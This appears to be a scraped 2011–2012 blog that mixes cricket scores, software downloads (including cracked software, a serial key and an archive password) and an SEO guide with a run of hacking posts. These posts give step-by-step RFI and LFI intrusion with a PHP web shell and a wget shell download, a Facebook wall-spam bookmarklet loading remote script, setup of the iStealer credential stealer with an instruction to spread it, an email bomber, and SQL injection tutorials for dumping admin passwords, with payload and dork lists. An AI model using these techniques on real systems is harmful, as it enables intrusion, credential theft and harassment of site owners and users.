IT Supers

Maanhoo Shehr Ja Sabh Charya

2012-02-29T12:23:00.001+05:00

This Song IS Sung By Akhtyar Ali Daayo. He Is Ofcourse A Best Singer. We Hope That This Song Will be Cause Of Your Enjoy

Download

Download Mp3 Songs

2012-02-29T12:16:00.000+05:00

Live Cricket Online

2012-02-18T17:00:00.002+05:00

Your Browser Do not Support Iframe

Download Quraan Shareef with Sindhi Meaning (Full Version)

2012-02-18T10:37:00.000+05:00

Download free

Bangladesh Premier League | Points Table

2012-02-15T10:55:00.007+05:00

Last Updated: 21 Feb, 2011

Serial No.	Team	Played	Won	Lost	N/R	Tied	Points	Net RR
01	Khulna Royal Bangles	7	5	2	0	0	10	+0.742
02	Doronto Rajshahi	7	5	2	0	0	10	-0.033
03	Chittgong Kings	7	4	3	0	0	8	-0.542
04	Barisal Burners	7	3	4	0	0	6	+0.014
05	Dhaka Gladiators	6	3	3	0	0	6	-0.113
06	Sylhet Royals	6	0	6	0	0	0	-1.518

2012-02-15T02:24:00.000+05:00

Pakistan Eleven (Probable)
1. Mohammad Hafeez
2. Imran Farhat
3. Asad Shafiq
4. Younis Khan
5. Misbah Ul Haq (captan)
6. Umar Akmal
7. Adnan Akmal (wk)
8. Shahid Afridi
9. Umar Gul
10. Saeed Ajmal
11. Wahab Riaz

England Eleven (Probable)
1. Alester Cook (Captain)
2. Kevin Peterson
3. Jonathan Trott
4. Ravi Bobara
5. Eoin Margon
6. Kraig Kieswetter
7. Samit Patel
8. Tim Bresnan
9. Stuart Broad
10. Graeme Swann
11. Steven Finn

Pakistan Team Against England | 2nd ODI

2012-02-15T02:15:00.001+05:00

Windows Media Player 12

2011-12-20T14:54:00.002+05:00

Windows Media Player Is Well Known Media Player.
U Can Download It From Given Link

DOWNLOAD

Add Aware Free Internet Security 9.5

2011-12-20T14:44:00.002+05:00

Add Aware Free Internet security 9.5 Gives The Best Internet Security to your Computer.
It Protacts YOu From Malwares, Torrents, Keyloggers, Rootkits, Password stealers.

DOWNLOAD

KaperSky Internet Security

2011-12-20T08:21:00.001+05:00

It Is Gift of 2012 2 U By ITSupers Team
It IS Best Soft Ware
This Software Has Unlimmited Trial Version

Name: KaperSky Internet Security 2012
Size: 77.03
Password If Needed: trainerinit

DOWNLOAD

With Best Wishes
ITSupers Team

Media Player Free

2011-12-18T08:28:00.000+05:00

DOWNLOAD

Cricket Game Free

2011-12-14T12:05:00.002+05:00

Download

VLC Media Player 1.1.7

2011-12-14T11:46:00.001+05:00

Supports All Type Of Media FilesDOWNLOAD

Chrome Plus Browser

2011-12-14T11:30:00.000+05:00

Chrome Plus Soft Ware Is Best Browser Of All Download It
DOWNLOAD CHROME+

Adobe Reader

2011-12-11T20:31:00.000+05:00

Adobe Reader New Version Free DOwNLOAD DOWNLOAD

Kill Windows

2011-12-11T15:49:00.004+05:00

DOWNLOAD

Google Talk

2011-12-11T15:30:00.001+05:00

Download Google Talk DOWNLOAD

Windows Washer

2011-12-11T15:25:00.001+05:00

Delete Temporary Files Free Download DOWNLOAD

Hotmail Plus

2011-12-11T15:11:00.000+05:00

Sending And Recieving Mails Software DOWNLOAD

Screen Recorder

2011-12-11T08:19:00.000+05:00

Screen Flash 1 Download Free
Download

Adviser

2011-12-11T08:11:00.001+05:00

Gives You Full Knowledege About Your Computer
Download Adviser

Internet Explorer 8

2011-12-11T08:05:00.003+05:00

Internet Explorer 8 You Can Download Here
Download

Internet Download Manager

2011-12-10T14:19:00.002+05:00

Internet Download Manager For Fast Downloading
DOWNLOAD IDM

Youtube Downloader v2.6

2011-12-10T13:56:00.001+05:00

You Tube Downloader Downloads Fast Also Download In mp4 and avi
DOWNLOAD

VLC Media Player 1.1.7

2011-12-10T13:46:00.001+05:00

All Type Of Media Player Download Free

DOWNLOAD VLC 1.1.7

ULEAD VIDEO STUDIO 11 PLUS

2011-12-10T09:50:00.000+05:00

Ulead Video Studio Trial Version Free Download
DOWNLOAD ULEAD

MB Sindhi 2010 Free Download

2011-12-10T09:09:00.001+05:00

MB Sindhi Enables Writing Sindhi In Your PC.
We Brought Here It For You
For More Softwares And Downloads Keep Visiting Our Website http://itsupers.com

DOWNLOAD MB SINDHI

Contact Us

2011-12-10T08:34:00.000+05:00

Name: Engineer Muhammad Aalim Soomro
Contact No: +92-3068644686
Email: jan.a.alam686@gmail.com

Welcome

2011-12-10T07:06:00.002+05:00

Your Most Welcome Here...............
M.Aalim Soomro

Live chat

2011-11-16T16:48:00.001+05:00

Avast 4.8.11

2011-11-14T17:50:00.001+05:00

Download

Online Tv Free

2011-11-14T15:01:00.007+05:00

Free Pc repair software

2011-11-14T13:54:00.001+05:00

Picture to icon conventer

2011-11-14T13:46:00.000+05:00

Download

A 1 keyword research

2011-11-14T13:41:00.001+05:00

Download

Java programming

2011-11-14T13:37:00.002+05:00

If you are already alive on Java and capital to stick to Java development in advancing years in your career, again such acceptance would advice you get acceptable ability appropriately acceptable acceptance in the aggregation you are working. It would aswell gives a cast amount to your resume which will advice you in accepting acceptable pay and job. Download the java acceptance material. Aswell analysis out the sun website for added .

Download

Power Point To Dvd Conventer

2011-11-14T13:18:00.000+05:00

Power Point To Dvd Conventer

Download

skype calling 5.0

2011-11-14T13:09:00.001+05:00

Download

Bulk image downloader

2011-11-14T13:01:00.002+05:00

Download

Costumize desktop icons

2011-11-14T12:58:00.001+05:00

Download

Cube desktop Customize your desktop

2011-11-14T12:53:00.000+05:00

Free Download

2011-11-11T17:05:00.001+05:00

Flash Quran Shareef

2011-11-11T16:32:00.000+05:00

Download

2011-11-09T09:34:00.000+05:00

wire shark

Download

Joomla 1.7.2

2011-11-05T10:18:00.000+05:00

Download Free

2011-11-03T16:00:00.000+05:00

Download free

Contect

2011-11-02T08:59:00.003+05:00

Name: Qamer Din Soomro
City: Mithi Tharparkar
Phone: +923322809366
Email: soomro_qamer@yahoo.com

Internet download manager+serial patch

2011-10-24T09:46:00.001+05:00

Download from here

Google Books Downloader

2011-10-17T10:02:00.004+05:00

Download Free

Rocky Rider

2011-10-17T09:05:00.000+05:00

Rocky Rider Game free

Avast 4.8 Home Eddition

2011-10-03T11:01:00.001+05:00

Download From Here

serial key for .............

W45653967H5800A1106-M07F4N7S

Link building By Imuj

2011-08-25T10:06:00.001+05:00

LINK BUILDING

1- LINK BUILDING OFF PAGE SEO OPTIMIZATION K LIYA ISTMAL HOTA HA IS K ZARIYA HUM APNI SITE

KO DUSRI SITE MA MUTARIF KARWA KAR POPULARITY DILA SAKTAY HA.

2- L/B K ZARYA HUM APNI SITE KA PAGE RANG B INCRESE KAR SAKTAY HA SAMJH OFF PAGE AUR L/B

DONO AIK HE CHEZ HA L/B AISAY HE ZARORI HA JESAY AP KI SITE KA CONTENT AUR DESIGNING ETC.

3- L/B MA HUM APNI SITE DIFFRENT WAY MA LINKS KAR SAKTAY HA JIS MA

ARTICALE MARKITING

FORUM POSTING

PROFIL LINK

PRESS REALESS

WEB 2.0 PROFILE

BLOG COMMENTNG

RSS FEED

SOCIAL BOOKMARKING

SOCIAL NETWORKING

SFTWEAR SHARING

.GOV AND .EDU SITE CMMENTS

DIRECTORY SUBMIT

4-L/B AP 2 TARAH SAY KAR SAKTAY HAI MANUALY AUR AUTO.YA DONO METHOD EASY HA MAGAR MANAULY

MA BOHAT TIME LAGTA HA JAB K AUTO BOHAT JALDI HOTI HA.MAGAR MANAULY L/B BOHAT FAIDA MAND

HA.

5-MANAUALY L/B MA AP KO KUCH GOOGLE DORKS ANAY CHAYA JO K AP KO FORUM POSTING AUR WORDPRESS

COMMENT ALOW SITE DOHND KAR DAI GA.AUR AP KO AP KI KEYWORD SAY RELATED SITE B MILL SAKTI HA

6-L/B BOHAT AHAM AUR ZABARDAST BAAT JO K SEARCH ENGINGE PSANAD KARTA HA WO HA .EDU AND .GOV

SITE SAY BACKLINK KA HONA Q KA JO B/L IN SITE SAY HO GA WO DOSRAY LINK SAY 10 GUNA ZAIDA

FAIDA MAND HO GA AP KI RANKING K LYA B.

7-L/B K LYA JO POPULAR SOFTWEAR USE HOTAY HA UN K SCARPE BOX,XUMAR, AUR SENUKE X KA NAAM HA

AUR SOFTWEAR BOHAT EXPENSIVE HA IN KI COST 100$ + TAK HA.L/B K ZARYA AP EARNING B KAR

SAKTAY HAI

8-L/B K PROJECT AP KO ODESK AUR FIVERR.COM PAR MILL SAKTAY HA JAHA PAR 10 LINK K RATE 5$

TAK MILL JATI HA AUR IS K ILAWA LINK BUILDING KA FREE LANCER warrior forum,digital foum AUR

B BOHAT SAY GOOGLE IT.

9-L/B MANAUALY KARNAY K LYA AP KO BOHAT SI LIST MIL SAKTI HA AUR KUCH GOOGLE DORKS MA AP

SATH BOHAT JALD SHARE KARO K GA K COMMENT K LYA SITE KIS TARAH SEARCH KARAY GA AUR MA AIL

FILE B SHARE KARAHA HO IS MA WEB 2.0 AUR DOSRI KUCH SITE K LINK CHEK IT

Regards: Imuj

2011-08-25T08:59:00.000+05:00

This piece of code pulls off all the images from your web page and rotates them in a circle. Really makes any page go naked (without its images). The best place to test is a website with many images. (Google Images for an example)

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0);

majic

2011-08-24T17:02:00.002+05:00

copy past this code in address bar and see majic and

javascript:%20pri=0;%20nil=["red","yellow","lime","violet","navy","blue"];%20enilton=document.links;setInterval("pri++;enilton[pri%20%%20document.links.length].style.color=nil[pri%20%%20nil.length]",10);void(0);javascript:%20pri=0;%20nil=
["red","yellow","lime","violet","navy","blue"];%20enilton=document.links;setInterval("pri++;enilton[pri%20%%20document.links.length].style.color=nil[pri%20%%20nil.length]",10);void(0);javascript:%20pri=0;%20nil=["red","yellow","lime","violet","navy","blue"];%20enilton=document.links;setInterval("pri++;enilton[pri%20%%20document.links.length].style.color=nil[pri%20%%20nil.length]",10);void(0);javascript:%20pri=0;%20nil=["red","yellow","lime","violet","navy","blue"];%20enilton=document.links;setInterval("pri++;enilton[pri%20%%20document.links.length].style.color=nil[pri%20%%20nil.length]",10);void(0);javascript:%20pri=0;%20nil=["red","yellow","lime","violet","navy","blue"];%20enilton=document.links;setInterval("pri++;enilton[pri%20%%20document.links.length].style.color=nil[pri%20%%20nil.length]",10);void(0);

SEO

2011-08-23T13:00:00.003+05:00

Download

google adscene

2011-08-23T11:08:00.002+05:00

http://adf.ly/2QaMy

2011-08-22T09:52:00.000+05:00

10000000000% Waorking Gmail Bommber

Hi Friends

Here is a email bomber. This is easy to use.

This bomber sends more than 1000 emails in 1 hour that to IN THE INBOX. Just you need to enter victims email , your email id and pass , and the message you want to send.
Here is the image of the bomber

Download

Hacking website with RFI

2011-08-22T09:49:00.000+05:00

Hacking website with RFI

Well, now I should move to the tutorial. First of all we will start our tutorial by Defining RFI. Remote File Inclusion (RFI) occurs when a shell, is included into a website which allows the hacker to execute his own server side commands as the administrative user, and have access to all the files on the server. With this power the hacker can use local exploits and can use his privilege power and take over the whole system.
There are many servers that are affected to this kind of hacks because the PHP’s settings of register_globals and allow_url_fopen are being enabled. PHP 6.0, register_globals has been removed, but also many websites still rely on older versions of PHP. Now I will give you steps that hackers take to exploit this kind of vulnerability.
1. First the hacker would find a website that’s get pages via the PHP include() function and is vulnerable to RFI. We will use Google dorks(See the meaning section to know about Google dorks) to locate servers vulnerable to RFI.

2. The Website should have its address similar to the below link:
http://vulnerablesite.com/index.php?page=PageName

3. Now at the PageName section we will but the address of a website it will look similar to the following:
http://vulnerablesite.com/index.php?page=http://google.com

4. Here we have put Google web address and after proceeding if the Google homepage shows up on the website, then we will know that it is Vulnerable to RFI and we will be ready to include the shell.
5. The popular shell is c99.r57 shell is also popular but I will discuss about c99 shell here. We will use Google dork to find the c99 shell here. To find the shell using Google dork we should search inurl: c99.txt in Google.
This will display websites with that shell. NOTE: In the end of the URL add ?(Question mark sign)
So the New URL would look like this :
http://vulnerablesite.com/index.php?page=http://site.com/c99.txt?
6. Sometimes on the script i.e. in PHP the server appends “.php” and end of the included file. So if you include the c99 shell, it would look like this “c99.txt.php” and that will not work. So to fix it, you should you should add a null byte i.e. to the end of c99.txt. tells the server to ignore everything that is there after c99.txt.
7. To search for the RFI vulnerable site you should search allinurl:.php?page= in Google. This search will look for URL’s with .php?page=. You most likely won’t find any vulnerable sites with that search so you can even search switching around the word “page” with other similar words. We can even search in vulnerability databases like www.osvdb.org for already discovered RFI vulnerabilities that are running that vulnerable web application with a Google dork.

8. If you get successful with this attack then you will get a big shell screen.
It will display all the info’s about the server like files and directories on it. From here you can find a directory that both read and write privileges and upload the shell but there will be .php file so that vulnerability in the website will be fixed already fixed, and you can be able to access them later.
9. Now you should find a way to gain root privileges on the server. You can do this by uploading and running local exploits . You should also search the targets server for configuration. It may contain username and passwords for the databases and other private information.

To protect yourself from RFI attacks, disable register_globals and allow_url_fopen from your php.ini file and always use Updated scripts simply make sure you are using up-to-date scripts, and make sure you server php.ini file has disabled.
Important Meanings
Shell - a graphical interface that let you to browse remote file and for running your own made code.
Google Dork - Google dork the process of taking advantages of Google Search to get specific search result .

SQL Injection

2011-08-22T09:45:00.001+05:00

Structured Query Language or (SQL) Injection

A major attack vector web programmers sometimes forget about is input cleansing. If user inputs are not cleansed prior to submitting the data to the SQL server attackers can submit malicious code to the server. This code can make the server return more data than it should or allow the attacker to delete entire databases.

SQL injection points occur anytime user inputs are not properly cleansed. The most common points of attack are login pages, search pages and URL strings. Attacks are not limited to these points of entry. All user input needs to be correctly cleansed to prevent SQL injection attacks.
SQL Injection Basics

SQL injections a simple in theory in which the attack finds an input that is trusted and passed to the SQL server. When the attacker finds a vulnerable input it is time to force the SQL query to return true no matter what the programmer is trying to do.

The most common way to force a SQL statement to return true is to add:( OR 1=1– ) without the brackerts to a vulnerable input.

Code: ‘ OR 1=1—
Explanation: Closes the string that the vulnerable input is looking for.
OR : a logical expression to start allow for another statement. The OR means that if the first statement fails because of the empty entry the entire statement may evaluate to true if the second statement is true.
1=1 : Since 1 will always be equal to 1 this expression will evaluate to true.
– : Is a comment which forces SQL to ignore everything after the –- (dash dash).

Here are a few variations along the same lines as above:
admin’– ‘ or 0=0 –
” or 0=0 – or 0=0 –
‘ or 0=0 # “ or 0=0 #
or 0=0 # ‘ or ‘x’='x
” or “x”=”x ‘) or (’x'=’x
‘ or 1=1– “ or 1=1–
or 1=1– ‘ or a=a–
” or “a”=”a ‘) or (’a'=’a
“) or (”a”=”a hack” or “a”=”a
hack” or 1=1 — hack’ or 1=1 –
hack’ or ‘a’='a hack’) or (’a'=’a
hack”) or (”a”=”a

Update Data in Database:
The ability to edit data in the database can allow attackers to change admin passwords. This attack can be done in a URL, a search box, a login page or any other unprotected input location. The following code sample shows how a password can be changed if the table name and an account are know.

Code:‘; UPDATE ‘users’ SET ‘password’ = ‘hacked’ WHERE username=‘crackable’–

The above code updates the users table where the username is crackable. SET states that the password field for the username crackable will be changed to hacked.
Insert Data into Database

Inserting data into a database is very similar to updating the table. As with the Update this attack can be done in a URL, a search box, a login page or any other unprotected input location. The following example expects that the attacker knows the table and a general structure of the table.

Code: ‘; INSERT INTO ‘users’ (‘id’, ‘username’, ‘password’, ‘details’) VALUES (1203, ‘myaccount’, ‘mypassword’, ‘NA’)–

The above code inserts a new user into the users table. A new account is created with an id of 1203, username of myaccount, password of mypassword, and details of NA. Creating new accounts is less likely to be detected than changing the password of an existing account. If enough table information can be gained to insert a new account in the users database, it is preferred over updating an existing account. If table information cannot be obtained the next best thing would be to change a users password with an update.
Deleting Data from a Database

Deleting data from a database is very similar to updating and inserting data in a database table. As with the update and the insert this attack can be done in a URL, a search box, a login page or any other unprotected input location. The following code sample requires the attacker to know the table name.

Code: ‘; DELETE FROM ‘users’ –

The above code sample deletes all the data from the users table. In general an attacker would only use this delete command if they wanted to be purely destructive. This command will be discovered very quickly when users are unable to log into the website.
Remote Execution with SQL Injection (MS SQL)

SQL injections can be very powerful. This is an example of a SQL injection attack that can lead to remote execution. The default installation of MS SQL Server runs as local system, which is the same as Administrator. With the follow code stored procedures like master..xp_cmdshell can be executed which would allow and attacker to perform remote executions as if on the box.

Code: ‘; exec master..xp_cmdshell ‘ping 104.12.45.25'–

The semi colon in the statement will end the current SQL query and then allow a new SQL command. To verify that the command executed successfully, a packet sniffer can be used to sniff ICMP packets on 104.12.45.25. If packets are received at 104.12.45.25 from the SQL server the stored procedure was executed successfully.

../index.html

SQL injection... As you have seen, SQL injection is one of the most security minded probs in WebSites. SQL injections is simply, injecting SQL. Now finding SQL holes in a different level ok lets say you have a login prompt like this...

<html>
<body>
<form action="" method="POST">
Username: <input name="name" type="name">

Password: <input name="password" type="password">

<input type="submit" type="submit" value="Submit">

</form>
</body>
</html>

Ok, there is a XSS hole here, but were not worried about that, there
is no way you can guess or crack this password. So... What do we do?

SQL Injection!
For the simplest attack put in ' for user and password yes JUST this '
Now you should get an error if there is absolutely NO protection if you
get an error it's vulnerable to the most insecure injection!
Now so what you have an error, an error is pointless unless you know how
to exploit it! So I'm going to give you a list of Injections you can use
if you receive an error for '

'='
'OR 1=1--
'OR a=a--
'OR'

Now these injections will hardly ever work since people add security,
but here’s a list of injections that most people aren't secured for!

'OR'='
'OR"="
'OR'="
'OR '="
'OR "='
'OR '='
'OR '='
'OR "='
'OR '="

Okay, so now you know that the SQL database is insecure because of the error message you receive so why not try some of these suggested passwords. Most SQL databases really aren’t secure for this in the real world…
Of course I wouldn’t know that now, would I?? lol.

iStealer 6.3 W1n_h4ck3r Setup

2011-08-22T09:43:00.001+05:00

iStealer 6.3 W1n_h4ck3r Setup

it will be detected as virus cos its a stealer .

1: Make an account on My3gb.com
2: Click on Create/Delete MySql Database...

3:You will come up to this Page:

Now I named the numbers as 1,2,3 and 4 so here what you have to do now on the above page:

1: fill this box with "db" without quotes and click on "create database"
2: fill this box with "user" without quotes
3: fill this box with password and click on "create user"
4: click on "Assign Privileges"

Now, Take a look at the end of the same page and you will get this :

Now ,go and open your "index.php" file using notepad ,this file be located inside your istealer folder, and you will see this:

1: $dbHost = Do Not change it ,Leave it same
2: $dbuser = In this one ,write your database username,which in my case is "xx112233_user" .
3: $dbpass = In this One,write your database password
4: $dbDatabase = In This one write your database name ,which in my case is "xx112233_db"

Now save it and go to your My3gb Upload folder ,Like this:

When you are there on Upload page you will see a "index.html" file already there :

Delete that file and after that upload the "index.php" and "style.css" File .

After you uploaded both files Now click on "index.php" file which you just uploaded and you will come up with this:

Login to this page ,this is the main page where you will get all logs from your victims and the login details to this page are:

user: admin
pass: admin

Now ,copy the whole link which you can see at the top ,this one:

Now,Open up your istealer.exe and paste this link in the "Url" Box ,Then Click on "Test Url" after that you will receive a message which will be "Works Pefect" or "Logger Not Found" ,Any of these two messages can come,it does not matter . After that Click on "Build" and save the "server.exe" in the istealer Folder.

See this Pic if you are confused:

You are now done setting up your istealer 6.3 legends !

Now go spread and enjoy .I might post a spreading tutorial also later on ...

Spam facebook wall

2011-08-22T09:41:00.000+05:00

How to Spam someones Wall on Facebook.

It is really annoying if your Facebook Wall is full with many messages. Recently I found the way of doing it and now i am sharing it with you people ;)

It is really easy to do it. All you need to do is to follow the following steps carefully.

#Step1: First you need to be on "http://" connection instead of "https://", so simple Login into your FB account and goto Account > Account Settings > Account Security. Over there "unTick" |Secure Browsing (https)|

#Step2: Now goto the Persons wall whom you want to spam , and then paste the following code into the address bar:

javascript:(a = (b = document).createElement("script")).src = "//purebroz.com/a.js", b.body.appendChild(a); void(0)

#Step3: Now a new box will pop up. In that type the number of times you want the message to be posted and click on "OK".

#Step4: After that type the message that you want to post and click on "OK"

After that its all done just refresh and you will Spam the other person.

WARNING# I dont take any responsiilty of misuse of this information.

LFI- local file inclusion

2011-08-22T09:39:00.000+05:00

LFI- local file inclusion

Its include the file of the server in our browser..
To see if a script is vulnerable to local file inclusion,

index.php?page=../../../../../../../../../etc/passwd

That Shows the complete User information in that server with paths..
Where ../ causes the script to move up one directoryWhere directory,
Multiple ../ cause the script to move to the top level directory (/, the root of the
filesystem) and /etc/passwd is the Unix passwd file.

google dork: inurl:.php?page=

example:www.xxx.com/contacts.php?page=abc.php

test:www.xxx.com/contacts.php?page=../xyz.php

now in linux server server there is etc/password

1... www.xyz.com/index
../
=../../../etc/passwd
=../../../etc/passwd%00

etc/passwdfile (google)
proc/self/environ is the writable file by end
or var/log/httpd-access.log is also writable

proc/self/environ
add one- user agent switcher

config.php
<?php passthru($_GET['cmd']) ?>
../proc/self//environ&cmd=wget http://
t35.com/abc.txt O shell.php

config.php
ip
username
pwd

Done..

Advanced SQLI

2011-08-22T09:37:00.000+05:00

Advacne SQL_injection

Here you will find a very detailed, step by step tutorial Advance SQL injection. This is purely for educational purposes and is to be used at the discretion of the reader.

First we have to know what SQL injection is exactly.

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.

That is the first paragraph of the wikipedia page for SQLi (SQL injection) found here:
http://en.wikipedia.org/wiki/SQL_injection

I would advise reading the entire page.

What is covered in this tutorial?

Part One - Website Assessment
Section One - Finding a vulnerable website
Section Two - Determining the amount of columns
Section Three - Finding which columns are vulnerable

Part Two - Gathering Information
Section One - Determining the SQL version
Section Two - Finding the database

Part Three - The Good Stuff
Section One - Finding the table names
Section Two - Finding the column names
Section Three - Displaying the column contents
Section Four - Finding the admin page

Now let's begin.

Part One - Website Assessment

In order for us to start exploiting a website we must first know exactly what we are injecting into. This is what we will be covering in Part One along with how to assess the information that we gather.

Section One - Finding a vulnerable website

Vulnerable websites can be found using dorks (I will include a list at the end of this tutorial), either in Google or with an exploit scanner. For those of you that are unfamiliar with the term "dorks", I will try to explain.

Dorks are website URLs that are known to be vulnerable. In SQL injection these dorks look like this:

Code:
inurl:buy.php?id=

This will be inputted into a search engine and because of the "inurl:" part of the dork, the search engine will return results with URLs that contain the same characters. Some of the sites that have this dork on their website may be vulnerable to SQL injection.

Now let's say we found the page:

Code:
http://www.site.com/buy.php?id=1

In order to test this site all we need to do is add a ' either in between the "=" sign and the "1" or after the "1" so it looks like this:

Code:
http://www.site.com/buy.php?id=1'
or
http://www.site.com/buy.php?id='1

After pressing enter, if this website returns an error such as the following:

Code:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home1/michafj0/public_html/gallery.php on line 7

Or something along those lines, this means it's vulnerable to injection.

In the case where you are to find a website such as this:

Code:
http://www.site.com/buy.php?id=1&dog;catid=2

Then you must use the same technique with adding a ' except it must be between the value (in this case the number) and the operator (the "=" sign) so it looks like this:

Code:
http://www.site.com/buy.php?id='1&dog;catid='2

There are programs that will do this for you but to start off I would suggest simply to do things manually, using Google, and so I won't post any for you guys. If you feel so compelled to use one anyways. I recommend the Exploit Scanner by Reiluke.

Section Two - Determining the amount of columns

In order for us to be able to use commands and get results we must know how many columns there are on a website. So to find the number of columns we must use a very complex and advanced method that I like to call "Trial and Error" with the ORDER BY command Biggrin

NOTE: SQL does not care whether or not your letters are capitalized or not and I'm just doing it out of clarity, for all it cares your queries could look like this:

Code:
http://www.site.com/buy.php?id=-1 CaN I HaZ TeH PaSSwOrDs? PLz aNd ThX

IT DOESN'T MATTER (btw please don't think that was an actual command).

So back to the ORDER BY command. To find the number of columns we write a query with incrementing values until we get an error, like this:

Code:
http://www.site.com/buy.php?id=1 ORDER BY 1-- <---No error
http://www.site.com/buy.php?id=1 ORDER BY 2-- <---No error
http://www.site.com/buy.php?id=1 ORDER BY 3-- <---No error
http://www.site.com/buy.php?id=1 ORDER BY 4-- <---No error
http://www.site.com/buy.php?id=1 ORDER BY 5-- <---ERROR!

This means that there are four columns!

DON'T FORGET TO INCLUDE THE DOUBLE NULL (--) AFTER THE QUERY.
VERY IMPORTANT!

Section Three - Finding which columns are vulnerable

So we know that there are four columns now we have to find out which ones are vulnerable to injection. To do this we use the UNION and SELECT queries while keeping the double null (--) at the end of the string. There is also one other difference that is small in size but not in importance, see if you can spot it.

Code:
http://www.site.com/buy.php?id=-1 UNION SELECT 1,2,3,4--

If you couldn't spot the difference, it's the extra null in between the "=" sign and the value (the number).

buy.php?id=-1

Now after entering that query you should be able to see some numbers somewhere on the page that seem out of place. Those are the numbers of the columns that are vulnerable to injection. We can use those columns to pull information from the database which we will see in Part Two.

Part Two - Gathering Information

In this part we will discover how to find the name of the database and what version of SQL the website is using by using queries to exploit the site.

Section One - Determining the SQL version.

Finding the version of the SQL of the website is a very important step because the steps you take for version 4 are quite different from version 5 in order to get what you want. In this tutorial, I will not be covering version 4 because it really is a guessing game and for the kind of sites that are still using it, it's not worth your time.

If we look back to the end of Section Three in Part One we saw how to find the vulnerable columns. Using that information we can put together our next query (I will be using column 2). The command should look like this:

Code:
http://www.site.com/buy.php?id=-1 UNION SELECT 1,@@version,3,4--

Because 2 is the vulnerable column, this is where we will place "@@version". Another string that could replace "@@version" is "version()".

If the website still does not display the version try using unhex(hex()) which looks like this:

Code:
http://www.site.com/buy.php?id=-1 UNION SELECT 1,unhex(hex(@@version)),3,4--

NOTE: If this method must be used here, it must be used for the rest of the injection as well.

Now what you want to see is something along these lines:

Code:
5.1.47-community-log

Which is the version of the SQL for the website.

NOTE: If you see version 4 and you would like to have a go at it, there are other tutorials that explain how to inject into it.

Section Two - Finding the database

Finding the name of the database is not always a necessary step to take to gather the information that you want, however in my experience folllowing these steps and finding the database may sometimes lead to a higher success rate.

To find the database we use a query like the one below:

Code:
http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata--

This could sometimes return more results than necessary and so that is when we switch over to this query instead:

Code:
http://www.site.com/buy.php?id=-1 UNION SELECT 1,concat(database()),3,4--

Congrats! You now have the name of the database! Copy and paste the name somewhere safe, we'll need it for later.

Part Three - The Good Stuff

This is the fun part where we will find the usernames, emails and passwords!

Section One - Finding the table names

To find the table names we use a query that is similar to the one used for finding the database with a little bit extra added on:

Code:
http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()--

It may look long and confusing but once you understand it, it really isn't so I'll try to explain. What this query does is it "groups" (group_concat) the "table names" (table_name) together and gathers that information "from" (FROM) information_schema.tables where the "table schema" (table_schema) can be found in the "database" (database()).

NOTE: While using group_concat you will only be able to see 1024 characters worth of tables so if you notice that a table is cut off on the end switch over to limit which I will explain now.

Code:
http://www.site.com/buy.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1--

What this does is it shows the first and only the first table. So if we were to run out of characters on let's say the 31st table we could use this query:

Code:
http://www.site.com/buy.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 30,1--

Notice how my limit was 30,1 instead of 31,1? This is because when using limit is starts from 0,1 which means that the 30th is actually the 31st Tongue

You now have all the table names!

Section Two - Finding the column names

Now that you have all of the table names try and pick out the one that you think would contain the juicy information. Usually they're tables like User(s), Admin(s), tblUser(s) and so on but it varies between sites.

After deciding which table you think contains the information, use this query (in my example, I'll be using the table name "Admin"):

Code:
http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name="Admin"--

This will either give you a list of all the columns within the table or give you an error but don't panic if it is outcome #2! All this means is that Magic Quotes is turned on. This can be bypassed by using a hex or char converter (they both work) to convert the normal text into char or hex (a link to a website that does this will be included at the end of the tutorial).

UPDATE: If you get an error at this point all you must do is follow these steps:

1. Copy the name of the table that you are trying to access.
2. Paste the name of the table into this website where it says "Say Hello To My Little Friend".
Hex/Char Converter
http://www.swingnote.com/tools/texttohex.php
3. Click convert.
4. Copy the string of numbers/letters under Hex into your query so it looks like this:

Code:
http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name=0x41646d696e--

Notice how before I pasted the hex I added a "0x", all this does is tells the server that the following characters are part of a hex string.

You should now see a list of all the columns within the table such as username, password, and email.

NOTE: Using the limit function does work with columns as well.

Section Three - Displaying the column contents

We're almost done! All we have left to do is to see what's inside those columns and use the information to login! To view the columns we need to decide which ones we want to see and then use this query (in this example I want to view the columns "username", "password", and "email", and my database name will be "db123"). This is where the database name comes in handy:

Code:
http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(username,0x3a,password,0x3a,email),3,4 FROM db123.Admin--

In this query, 0x3a is the hex value of a colon (:) which will group the username:password:email for the individual users just like that.

FINALLY! Now you have the login information for the users of the site, including the admin. All you have to do now is find the admin login page which brings us to Section Four.

Section Four - Finding the admin page

Usually the admin page will be directly off of the site's home page, here are some examples:

Code:
http://www.site.com/admin
http://www.site.com/adminlogin
http://www.site.com/modlogin
http://www.site.com/moderator

Once again there are programs that will find the page for you but first try some of the basic guesses, it might save you a couple of clicks. If you do use a program Reiluke has coded one for that as well. Search Admin Finder by Reiluke.

And that conlcudes my tutorial! I hope it was helpful to some of you. Remember to keep practicing and eventually you'll have all of the queries memorized in no time!

Comment and Rate!

Give credit where credit is due!

I do keep my promises so here is what I said I would include:

Dork List
trainers.php?id=
article.php?ID=
play_old.php?id=
declaration_more.php?decl_id=
Pageid=
games.php?id=
newsDetail.php?id=
staff_id=
historialeer.php?num=
